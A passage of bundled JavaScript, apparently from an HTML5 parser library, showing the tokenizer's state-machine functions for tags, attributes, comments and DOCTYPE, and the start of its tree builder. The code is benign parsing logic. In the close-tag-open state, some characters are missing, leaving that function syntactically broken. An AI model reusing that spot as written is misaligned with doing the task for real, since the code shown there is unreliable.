tokenizer._parseError('eof-in-script'); buffer.unget(data); tokenizer.setState(data_state); } else if (data === '-') { tokenizer._emitToken({type: 'Characters', data: '-'}); tokenizer.setState(script_data_double_escaped_dash_dash_state); } else if (data === '<') { tokenizer._emitToken({type: 'Characters', data: '<'}); tokenizer.setState(script_data_double_escaped_less_than_sign_state); } else if (data === '\u0000') { tokenizer._parseError('invalid-codepoint'); tokenizer._emitToken({type: 'Characters', data: '\uFFFD'}); tokenizer.setState(script_data_double_escaped_state); } else { tokenizer._emitToken({type: 'Characters', data: data}); tokenizer.setState(script_data_double_escaped_state); } return true; } function script_data_double_escaped_dash_dash_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError('eof-in-script'); buffer.unget(data); tokenizer.setState(data_state); } else if (data === '-') { tokenizer._emitToken({type: 'Characters', data: '-'}); buffer.commit(); } else if (data === '<') { tokenizer._emitToken({type: 'Characters', data: '<'}); tokenizer.setState(script_data_double_escaped_less_than_sign_state); } else if (data === '>') { tokenizer._emitToken({type: 'Characters', data: '>'}); tokenizer.setState(script_data_state); } else if (data === '\u0000') { tokenizer._parseError('invalid-codepoint'); tokenizer._emitToken({type: 'Characters', data: '\uFFFD'}); tokenizer.setState(script_data_double_escaped_state); } else { tokenizer._emitToken({type: 'Characters', data: data}); tokenizer.setState(script_data_double_escaped_state); } return true; } function script_data_double_escaped_less_than_sign_state(buffer) { var data = buffer.char(); if (data === '/') { tokenizer._emitToken({type: 'Characters', data: '/'}); this._temporaryBuffer = ''; tokenizer.setState(script_data_double_escape_end_state); } else { buffer.unget(data); tokenizer.setState(script_data_double_escaped_state); } return true; } function script_data_double_escape_end_state(buffer) { var data = buffer.char(); if (isWhitespace(data) || data === '/' || data === '>') { tokenizer._emitToken({type: 'Characters', data: data}); if (this._temporaryBuffer.toLowerCase() === 'script') tokenizer.setState(script_data_escaped_state); else tokenizer.setState(script_data_double_escaped_state); } else if (isAlpha(data)) { tokenizer._emitToken({type: 'Characters', data: data}); this._temporaryBuffer += data; buffer.commit(); } else { buffer.unget(data); tokenizer.setState(script_data_double_escaped_state); } return true; } function tag_open_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("bare-less-than-sign-at-eof"); tokenizer._emitToken({type: 'Characters', data: '<'}); buffer.unget(data); tokenizer.setState(data_state); } else if (isAlpha(data)) { tokenizer._currentToken = {type: 'StartTag', name: data.toLowerCase(), data: []}; tokenizer.setState(tag_name_state); } else if (data === '!') { tokenizer.setState(markup_declaration_open_state); } else if (data === '/') { tokenizer.setState(close_tag_open_state); } else if (data === '>') { tokenizer._parseError("expected-tag-name-but-got-right-bracket"); tokenizer._emitToken({type: 'Characters', data: "<>"}); tokenizer.setState(data_state); } else if (data === '?') { tokenizer._parseError("expected-tag-name-but-got-question-mark"); buffer.unget(data); tokenizer.setState(bogus_comment_state); } else { tokenizer._parseError("expected-tag-name"); tokenizer._emitToken({type: 'Characters', data: "<"}); buffer.unget(data); tokenizer.setState(data_state); } return true; } function close_tag_open_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("expected-closing-tag-but-got-eof"); tokenizer._emitToken({type: 'Characters', data: '') { tokenizer._parseError("expected-closing-tag-but-got-right-bracket"); tokenizer.setState(data_state); } else { tokenizer._parseError("expected-closing-tag-but-got-char", {data: data}); // param 1 is datavars: buffer.unget(data); tokenizer.setState(bogus_comment_state); } return true; } function tag_name_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError('eof-in-tag-name'); buffer.unget(data); tokenizer.setState(data_state); } else if (isWhitespace(data)) { tokenizer.setState(before_attribute_name_state); } else if (isAlpha(data)) { tokenizer._currentToken.name += data.toLowerCase(); } else if (data === '>') { tokenizer._emitCurrentToken(); } else if (data === '/') { tokenizer.setState(self_closing_tag_state); } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._currentToken.name += "\uFFFD"; } else { tokenizer._currentToken.name += data; } buffer.commit(); return true; } function before_attribute_name_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("expected-attribute-name-but-got-eof"); buffer.unget(data); tokenizer.setState(data_state); } else if (isWhitespace(data)) { return true; } else if (isAlpha(data)) { tokenizer._currentToken.data.push({nodeName: data.toLowerCase(), nodeValue: ""}); tokenizer.setState(attribute_name_state); } else if (data === '>') { tokenizer._emitCurrentToken(); } else if (data === '/') { tokenizer.setState(self_closing_tag_state); } else if (data === "'" || data === '"' || data === '=' || data === '<') { tokenizer._parseError("invalid-character-in-attribute-name"); tokenizer._currentToken.data.push({nodeName: data, nodeValue: ""}); tokenizer.setState(attribute_name_state); } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._currentToken.data.push({nodeName: "\uFFFD", nodeValue: ""}); } else { tokenizer._currentToken.data.push({nodeName: data, nodeValue: ""}); tokenizer.setState(attribute_name_state); } return true; } function attribute_name_state(buffer) { var data = buffer.char(); var leavingThisState = true; var shouldEmit = false; if (data === InputStream.EOF) { tokenizer._parseError("eof-in-attribute-name"); buffer.unget(data); tokenizer.setState(data_state); shouldEmit = true; } else if (data === '=') { tokenizer.setState(before_attribute_value_state); } else if (isAlpha(data)) { tokenizer._currentAttribute().nodeName += data.toLowerCase(); leavingThisState = false; } else if (data === '>') { shouldEmit = true; } else if (isWhitespace(data)) { tokenizer.setState(after_attribute_name_state); } else if (data === '/') { tokenizer.setState(self_closing_tag_state); } else if (data === "'" || data === '"') { tokenizer._parseError("invalid-character-in-attribute-name"); tokenizer._currentAttribute().nodeName += data; leavingThisState = false; } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._currentAttribute().nodeName += "\uFFFD"; } else { tokenizer._currentAttribute().nodeName += data; leavingThisState = false; } if (leavingThisState) { var attributes = tokenizer._currentToken.data; var currentAttribute = attributes[attributes.length - 1]; for (var i = attributes.length - 2; i >= 0; i--) { if (currentAttribute.nodeName === attributes[i].nodeName) { tokenizer._parseError("duplicate-attribute", {name: currentAttribute.nodeName}); currentAttribute.nodeName = null; break; } } if (shouldEmit) tokenizer._emitCurrentToken(); } else { buffer.commit(); } return true; } function after_attribute_name_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("expected-end-of-tag-but-got-eof"); buffer.unget(data); tokenizer.setState(data_state); } else if (isWhitespace(data)) { return true; } else if (data === '=') { tokenizer.setState(before_attribute_value_state); } else if (data === '>') { tokenizer._emitCurrentToken(); } else if (isAlpha(data)) { tokenizer._currentToken.data.push({nodeName: data, nodeValue: ""}); tokenizer.setState(attribute_name_state); } else if (data === '/') { tokenizer.setState(self_closing_tag_state); } else if (data === "'" || data === '"' || data === '<') { tokenizer._parseError("invalid-character-after-attribute-name"); tokenizer._currentToken.data.push({nodeName: data, nodeValue: ""}); tokenizer.setState(attribute_name_state); } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._currentToken.data.push({nodeName: "\uFFFD", nodeValue: ""}); } else { tokenizer._currentToken.data.push({nodeName: data, nodeValue: ""}); tokenizer.setState(attribute_name_state); } return true; } function before_attribute_value_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("expected-attribute-value-but-got-eof"); buffer.unget(data); tokenizer.setState(data_state); } else if (isWhitespace(data)) { return true; } else if (data === '"') { tokenizer.setState(attribute_value_double_quoted_state); } else if (data === '&') { tokenizer.setState(attribute_value_unquoted_state); buffer.unget(data); } else if (data === "'") { tokenizer.setState(attribute_value_single_quoted_state); } else if (data === '>') { tokenizer._parseError("expected-attribute-value-but-got-right-bracket"); tokenizer._emitCurrentToken(); } else if (data === '=' || data === '<' || data === '`') { tokenizer._parseError("unexpected-character-in-unquoted-attribute-value"); tokenizer._currentAttribute().nodeValue += data; tokenizer.setState(attribute_value_unquoted_state); } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._currentAttribute().nodeValue += "\uFFFD"; } else { tokenizer._currentAttribute().nodeValue += data; tokenizer.setState(attribute_value_unquoted_state); } return true; } function attribute_value_double_quoted_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-attribute-value-double-quote"); buffer.unget(data); tokenizer.setState(data_state); } else if (data === '"') { tokenizer.setState(after_attribute_value_state); } else if (data === '&') { this._additionalAllowedCharacter = '"'; tokenizer.setState(character_reference_in_attribute_value_state); } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._currentAttribute().nodeValue += "\uFFFD"; } else { var s = buffer.matchUntil('[\0"&]'); data = data + s; tokenizer._currentAttribute().nodeValue += data; } return true; } function attribute_value_single_quoted_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-attribute-value-single-quote"); buffer.unget(data); tokenizer.setState(data_state); } else if (data === "'") { tokenizer.setState(after_attribute_value_state); } else if (data === '&') { this._additionalAllowedCharacter = "'"; tokenizer.setState(character_reference_in_attribute_value_state); } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._currentAttribute().nodeValue += "\uFFFD"; } else { tokenizer._currentAttribute().nodeValue += data + buffer.matchUntil("\u0000|['&]"); } return true; } function attribute_value_unquoted_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-after-attribute-value"); buffer.unget(data); tokenizer.setState(data_state); } else if (isWhitespace(data)) { tokenizer.setState(before_attribute_name_state); } else if (data === '&') { this._additionalAllowedCharacter = ">"; tokenizer.setState(character_reference_in_attribute_value_state); } else if (data === '>') { tokenizer._emitCurrentToken(); } else if (data === '"' || data === "'" || data === '=' || data === '`' || data === '<') { tokenizer._parseError("unexpected-character-in-unquoted-attribute-value"); tokenizer._currentAttribute().nodeValue += data; buffer.commit(); } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._currentAttribute().nodeValue += "\uFFFD"; } else { var o = buffer.matchUntil("\u0000|["+ "\t\n\v\f\x20\r" + "&<>\"'=`" +"]"); if (o === InputStream.EOF) { tokenizer._parseError("eof-in-attribute-value-no-quotes"); tokenizer._emitCurrentToken(); } buffer.commit(); tokenizer._currentAttribute().nodeValue += data + o; } return true; } function character_reference_in_attribute_value_state(buffer) { var character = EntityParser.consumeEntity(buffer, tokenizer, this._additionalAllowedCharacter); this._currentAttribute().nodeValue += character || '&'; if (this._additionalAllowedCharacter === '"') tokenizer.setState(attribute_value_double_quoted_state); else if (this._additionalAllowedCharacter === '\'') tokenizer.setState(attribute_value_single_quoted_state); else if (this._additionalAllowedCharacter === '>') tokenizer.setState(attribute_value_unquoted_state); return true; } function after_attribute_value_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-after-attribute-value"); buffer.unget(data); tokenizer.setState(data_state); } else if (isWhitespace(data)) { tokenizer.setState(before_attribute_name_state); } else if (data === '>') { tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else if (data === '/') { tokenizer.setState(self_closing_tag_state); } else { tokenizer._parseError("unexpected-character-after-attribute-value"); buffer.unget(data); tokenizer.setState(before_attribute_name_state); } return true; } function self_closing_tag_state(buffer) { var c = buffer.char(); if (c === InputStream.EOF) { tokenizer._parseError("unexpected-eof-after-solidus-in-tag"); buffer.unget(c); tokenizer.setState(data_state); } else if (c === '>') { tokenizer._currentToken.selfClosing = true; tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else { tokenizer._parseError("unexpected-character-after-solidus-in-tag"); buffer.unget(c); tokenizer.setState(before_attribute_name_state); } return true; } function bogus_comment_state(buffer) { var data = buffer.matchUntil('>'); data = data.replace(/\u0000/g, "\uFFFD"); buffer.char(); tokenizer._emitToken({type: 'Comment', data: data}); tokenizer.setState(data_state); return true; } function markup_declaration_open_state(buffer) { var chars = buffer.shift(2); if (chars === '--') { tokenizer._currentToken = {type: 'Comment', data: ''}; tokenizer.setState(comment_start_state); } else { var newchars = buffer.shift(5); if (newchars === InputStream.EOF || chars === InputStream.EOF) { tokenizer._parseError("expected-dashes-or-doctype"); tokenizer.setState(bogus_comment_state); buffer.unget(chars); return true; } chars += newchars; if (chars.toUpperCase() === 'DOCTYPE') { tokenizer._currentToken = {type: 'Doctype', name: '', publicId: null, systemId: null, forceQuirks: false}; tokenizer.setState(doctype_state); } else if (tokenizer._tokenHandler.isCdataSectionAllowed() && chars === '[CDATA[') { tokenizer.setState(cdata_section_state); } else { tokenizer._parseError("expected-dashes-or-doctype"); buffer.unget(chars); tokenizer.setState(bogus_comment_state); } } return true; } function cdata_section_state(buffer) { var data = buffer.matchUntil(']]>'); buffer.shift(3); if (data) { tokenizer._emitToken({type: 'Characters', data: data}); } tokenizer.setState(data_state); return true; } function comment_start_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-comment"); tokenizer._emitToken(tokenizer._currentToken); buffer.unget(data); tokenizer.setState(data_state); } else if (data === '-') { tokenizer.setState(comment_start_dash_state); } else if (data === '>') { tokenizer._parseError("incorrect-comment"); tokenizer._emitToken(tokenizer._currentToken); tokenizer.setState(data_state); } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._currentToken.data += "\uFFFD"; } else { tokenizer._currentToken.data += data; tokenizer.setState(comment_state); } return true; } function comment_start_dash_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-comment"); tokenizer._emitToken(tokenizer._currentToken); buffer.unget(data); tokenizer.setState(data_state); } else if (data === '-') { tokenizer.setState(comment_end_state); } else if (data === '>') { tokenizer._parseError("incorrect-comment"); tokenizer._emitToken(tokenizer._currentToken); tokenizer.setState(data_state); } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._currentToken.data += "\uFFFD"; } else { tokenizer._currentToken.data += '-' + data; tokenizer.setState(comment_state); } return true; } function comment_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-comment"); tokenizer._emitToken(tokenizer._currentToken); buffer.unget(data); tokenizer.setState(data_state); } else if (data === '-') { tokenizer.setState(comment_end_dash_state); } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._currentToken.data += "\uFFFD"; } else { tokenizer._currentToken.data += data; buffer.commit(); } return true; } function comment_end_dash_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-comment-end-dash"); tokenizer._emitToken(tokenizer._currentToken); buffer.unget(data); tokenizer.setState(data_state); } else if (data === '-') { tokenizer.setState(comment_end_state); } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._currentToken.data += "-\uFFFD"; tokenizer.setState(comment_state); } else { tokenizer._currentToken.data += '-' + data + buffer.matchUntil('\u0000|-'); buffer.char(); } return true; } function comment_end_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-comment-double-dash"); tokenizer._emitToken(tokenizer._currentToken); buffer.unget(data); tokenizer.setState(data_state); } else if (data === '>') { tokenizer._emitToken(tokenizer._currentToken); tokenizer.setState(data_state); } else if (data === '!') { tokenizer._parseError("unexpected-bang-after-double-dash-in-comment"); tokenizer.setState(comment_end_bang_state); } else if (data === '-') { tokenizer._parseError("unexpected-dash-after-double-dash-in-comment"); tokenizer._currentToken.data += data; } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._currentToken.data += "--\uFFFD"; tokenizer.setState(comment_state); } else { tokenizer._parseError("unexpected-char-in-comment"); tokenizer._currentToken.data += '--' + data; tokenizer.setState(comment_state); } return true; } function comment_end_bang_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-comment-end-bang-state"); tokenizer._emitToken(tokenizer._currentToken); buffer.unget(data); tokenizer.setState(data_state); } else if (data === '>') { tokenizer._emitToken(tokenizer._currentToken); tokenizer.setState(data_state); } else if (data === '-') { tokenizer._currentToken.data += '--!'; tokenizer.setState(comment_end_dash_state); } else { tokenizer._currentToken.data += '--!' + data; tokenizer.setState(comment_state); } return true; } function doctype_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("expected-doctype-name-but-got-eof"); tokenizer._currentToken.forceQuirks = true; buffer.unget(data); tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else if (isWhitespace(data)) { tokenizer.setState(before_doctype_name_state); } else { tokenizer._parseError("need-space-after-doctype"); buffer.unget(data); tokenizer.setState(before_doctype_name_state); } return true; } function before_doctype_name_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("expected-doctype-name-but-got-eof"); tokenizer._currentToken.forceQuirks = true; buffer.unget(data); tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else if (isWhitespace(data)) { } else if (data === '>') { tokenizer._parseError("expected-doctype-name-but-got-right-bracket"); tokenizer._currentToken.forceQuirks = true; tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else { if (isAlpha(data)) data = data.toLowerCase(); tokenizer._currentToken.name = data; tokenizer.setState(doctype_name_state); } return true; } function doctype_name_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._currentToken.forceQuirks = true; buffer.unget(data); tokenizer._parseError("eof-in-doctype-name"); tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else if (isWhitespace(data)) { tokenizer.setState(after_doctype_name_state); } else if (data === '>') { tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else { if (isAlpha(data)) data = data.toLowerCase(); tokenizer._currentToken.name += data; buffer.commit(); } return true; } function after_doctype_name_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._currentToken.forceQuirks = true; buffer.unget(data); tokenizer._parseError("eof-in-doctype"); tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else if (isWhitespace(data)) { } else if (data === '>') { tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else { if (['p', 'P'].indexOf(data) > -1) { var expected = [['u', 'U'], ['b', 'B'], ['l', 'L'], ['i', 'I'], ['c', 'C']]; var matched = expected.every(function(expected){ data = buffer.char(); return expected.indexOf(data) > -1; }); if (matched) { tokenizer.setState(after_doctype_public_keyword_state); return true; } } else if (['s', 'S'].indexOf(data) > -1) { var expected = [['y', 'Y'], ['s', 'S'], ['t', 'T'], ['e', 'E'], ['m', 'M']]; var matched = expected.every(function(expected){ data = buffer.char(); return expected.indexOf(data) > -1; }); if (matched) { tokenizer.setState(after_doctype_system_keyword_state); return true; } } buffer.unget(data); tokenizer._currentToken.forceQuirks = true; if (data === InputStream.EOF) { tokenizer._parseError("eof-in-doctype"); buffer.unget(data); tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else { tokenizer._parseError("expected-space-or-right-bracket-in-doctype", {data: data}); tokenizer.setState(bogus_doctype_state); } } return true; } function after_doctype_public_keyword_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-doctype"); tokenizer._currentToken.forceQuirks = true; buffer.unget(data); tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else if (isWhitespace(data)) { tokenizer.setState(before_doctype_public_identifier_state); } else if (data === "'" || data === '"') { tokenizer._parseError("unexpected-char-in-doctype"); buffer.unget(data); tokenizer.setState(before_doctype_public_identifier_state); } else { buffer.unget(data); tokenizer.setState(before_doctype_public_identifier_state); } return true; } function before_doctype_public_identifier_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-doctype"); tokenizer._currentToken.forceQuirks = true; buffer.unget(data); tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else if (isWhitespace(data)) { } else if (data === '"') { tokenizer._currentToken.publicId = ''; tokenizer.setState(doctype_public_identifier_double_quoted_state); } else if (data === "'") { tokenizer._currentToken.publicId = ''; tokenizer.setState(doctype_public_identifier_single_quoted_state); } else if (data === '>') { tokenizer._parseError("unexpected-end-of-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else { tokenizer._parseError("unexpected-char-in-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer.setState(bogus_doctype_state); } return true; } function doctype_public_identifier_double_quoted_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-doctype"); tokenizer._currentToken.forceQuirks = true; buffer.unget(data); tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else if (data === '"') { tokenizer.setState(after_doctype_public_identifier_state); } else if (data === '>') { tokenizer._parseError("unexpected-end-of-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else { tokenizer._currentToken.publicId += data; } return true; } function doctype_public_identifier_single_quoted_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-doctype"); tokenizer._currentToken.forceQuirks = true; buffer.unget(data); tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else if (data === "'") { tokenizer.setState(after_doctype_public_identifier_state); } else if (data === '>') { tokenizer._parseError("unexpected-end-of-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else { tokenizer._currentToken.publicId += data; } return true; } function after_doctype_public_identifier_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer._emitCurrentToken(); buffer.unget(data); tokenizer.setState(data_state); } else if (isWhitespace(data)) { tokenizer.setState(between_doctype_public_and_system_identifiers_state); } else if (data === '>') { tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else if (data === '"') { tokenizer._parseError("unexpected-char-in-doctype"); tokenizer._currentToken.systemId = ''; tokenizer.setState(doctype_system_identifier_double_quoted_state); } else if (data === "'") { tokenizer._parseError("unexpected-char-in-doctype"); tokenizer._currentToken.systemId = ''; tokenizer.setState(doctype_system_identifier_single_quoted_state); } else { tokenizer._parseError("unexpected-char-in-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer.setState(bogus_doctype_state); } return true; } function between_doctype_public_and_system_identifiers_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer._emitCurrentToken(); buffer.unget(data); tokenizer.setState(data_state); } else if (isWhitespace(data)) { } else if (data === '>') { tokenizer._emitCurrentToken(); tokenizer.setState(data_state); } else if (data === '"') { tokenizer._currentToken.systemId = ''; tokenizer.setState(doctype_system_identifier_double_quoted_state); } else if (data === "'") { tokenizer._currentToken.systemId = ''; tokenizer.setState(doctype_system_identifier_single_quoted_state); } else { tokenizer._parseError("unexpected-char-in-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer.setState(bogus_doctype_state); } return true; } function after_doctype_system_keyword_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer._emitCurrentToken(); buffer.unget(data); tokenizer.setState(data_state); } else if (isWhitespace(data)) { tokenizer.setState(before_doctype_system_identifier_state); } else if (data === "'" || data === '"') { tokenizer._parseError("unexpected-char-in-doctype"); buffer.unget(data); tokenizer.setState(before_doctype_system_identifier_state); } else { buffer.unget(data); tokenizer.setState(before_doctype_system_identifier_state); } return true; } function before_doctype_system_identifier_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer._emitCurrentToken(); buffer.unget(data); tokenizer.setState(data_state); } else if (isWhitespace(data)) { } else if (data === '"') { tokenizer._currentToken.systemId = ''; tokenizer.setState(doctype_system_identifier_double_quoted_state); } else if (data === "'") { tokenizer._currentToken.systemId = ''; tokenizer.setState(doctype_system_identifier_single_quoted_state); } else if (data === '>') { tokenizer._parseError("unexpected-end-of-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer._emitCurrentToken(); tokenizer.setState(data_state); } else { tokenizer._parseError("unexpected-char-in-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer.setState(bogus_doctype_state); } return true; } function doctype_system_identifier_double_quoted_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer._emitCurrentToken(); buffer.unget(data); tokenizer.setState(data_state); } else if (data === '"') { tokenizer.setState(after_doctype_system_identifier_state); } else if (data === '>') { tokenizer._parseError("unexpected-end-of-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer._emitCurrentToken(); tokenizer.setState(data_state); } else { tokenizer._currentToken.systemId += data; } return true; } function doctype_system_identifier_single_quoted_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer._emitCurrentToken(); buffer.unget(data); tokenizer.setState(data_state); } else if (data === "'") { tokenizer.setState(after_doctype_system_identifier_state); } else if (data === '>') { tokenizer._parseError("unexpected-end-of-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer._emitCurrentToken(); tokenizer.setState(data_state); } else { tokenizer._currentToken.systemId += data; } return true; } function after_doctype_system_identifier_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError("eof-in-doctype"); tokenizer._currentToken.forceQuirks = true; tokenizer._emitCurrentToken(); buffer.unget(data); tokenizer.setState(data_state); } else if (isWhitespace(data)) { } else if (data === '>') { tokenizer._emitCurrentToken(); tokenizer.setState(data_state); } else { tokenizer._parseError("unexpected-char-in-doctype"); tokenizer.setState(bogus_doctype_state); } return true; } function bogus_doctype_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { buffer.unget(data); tokenizer._emitCurrentToken(); tokenizer.setState(data_state); } else if (data === '>') { tokenizer._emitCurrentToken(); tokenizer.setState(data_state); } return true; } }; Object.defineProperty(Tokenizer.prototype, 'lineNumber', { get: function() { return this._inputStream.location().line; } }); Object.defineProperty(Tokenizer.prototype, 'columnNumber', { get: function() { return this._inputStream.location().column; } }); exports.Tokenizer = Tokenizer; }, {"./EntityParser":2,"./InputStream":3}], 6:[function(_dereq_,module,exports){ var assert = _dereq_('assert'); var messages = _dereq_('./messages.json'); var constants = _dereq_('./constants'); var EventEmitter = _dereq_('events').EventEmitter; var Tokenizer = _dereq_('./Tokenizer').Tokenizer; var ElementStack = _dereq_('./ElementStack').ElementStack; var StackItem = _dereq_('./StackItem').StackItem; var Marker = {}; function isWhitespace(ch) { return ch === " " || ch === "\n" || ch === "\t" || ch === "\r" || ch === "\f"; } function isWhitespaceOrReplacementCharacter(ch) { return isWhitespace(ch) || ch === '\uFFFD'; } function isAllWhitespace(characters) { for (var i = 0; i < characters.length; i++) { var ch = characters[i]; if (!isWhitespace(ch)) return false; } return true; } function isAllWhitespaceOrReplacementCharacters(characters) { for (var i = 0; i < characters.length; i++) { var ch = characters[i]; if (!isWhitespaceOrReplacementCharacter(ch)) return false; } return true; } function getAttribute(node, name) { for (var i = 0; i < node.attributes.length; i++) { var attribute = node.attributes[i]; if (attribute.nodeName === name) { return attribute; } } return null; } function CharacterBuffer(characters) { this.characters = characters; this.current = 0; this.end = this.characters.length; } CharacterBuffer.prototype.skipAtMostOneLeadingNewline = function() { if (this.characters[this.current] === '\n') this.current++; }; CharacterBuffer.prototype.skipLeadingWhitespace = function() { while (isWhitespace(this.characters[this.current])) { if (++this.current == this.end) return; } }; CharacterBuffer.prototype.skipLeadingNonWhitespace = function() { while (!isWhitespace(this.characters[this.current])) { if (++this.current == this.end) return; } }; CharacterBuffer.prototype.takeRemaining = function() { return this.characters.substring(this.current); }; CharacterBuffer.prototype.takeLeadingWhitespace = function() { var start = this.current; this.skipLeadingWhitespace(); if (start === this.current) return ""; return this.characters.substring(start, this.current - start); }; Object.defineProperty(CharacterBuffer.prototype, 'length', { get: function(){ return this.end - this.current; } }); function TreeBuilder() { this.tokenizer = null; this.errorHandler = null; this.scriptingEnabled = false; this.document = null; this.head = null; this.form = null; this.openElements = new ElementStack(); this.activeFormattingElements = []; this.insertionMode = null; this.insertionModeName = ""; this.originalInsertionMode = ""; this.inQuirksMode = false; // TODO quirks mode this.compatMode = "no quirks"; this.framesetOk = true; this.redirectAttachToFosterParent = false; this.selfClosingFlagAcknowledged = false; this.context = ""; this.pendingTableCharacters = []; this.shouldSkipLeadingNewline = false; var tree = this; var modes = this.insertionModes = {}; modes.base = { end_tag_handlers: {"-default": 'endTagOther'}, start_tag_handlers: {"-default": 'startTagOther'}, processEOF: function() { tree.generateImpliedEndTags(); if (tree.openElements.length > 2) { tree.parseError('expected-closing-tag-but-got-eof'); } else if (tree.openElements.length == 2 && tree.openElements.item(1).localName != 'body') { tree.parseError('expected-closing-tag-but-got-eof'); } else if (tree.context && tree.openElements.length > 1) { } }, processComment: function(data) { tree.insertComment(data, tree.currentStackItem().node); }, processDoctype: function(name, publicId, systemId, forceQuirks) { tree.parseError('unexpected-doctype'); }, processStartTag: function(name, attributes, selfClosing) { if (this[this.start_tag_handlers[name]]) { this[this.start_tag_handlers[name]](name, attributes, selfClosing); } else if (this[this.start_tag_handlers["-default"]]) { this[this.start_tag_handlers["-default"]](name, attributes, selfClosing); } else { throw(new Error("No handler found for "+name)); } }, processEndTag: function(name) { if (this[this.end_tag_handlers[name]]) { this[this.end_tag_handlers[name]](name); } else if (this[this.end_tag_handlers["-default"]]) { this[this.end_tag_handlers["-default"]](name); } else { throw(new Error("No handler found for "+name)); } }, startTagHtml: function(name, attributes) { modes.inBody.startTagHtml(name, attributes); } }; modes.initial = Object.create(modes.base); modes.initial.processEOF = function() { tree.parseError("expected-doctype-but-got-eof"); this.anythingElse(); 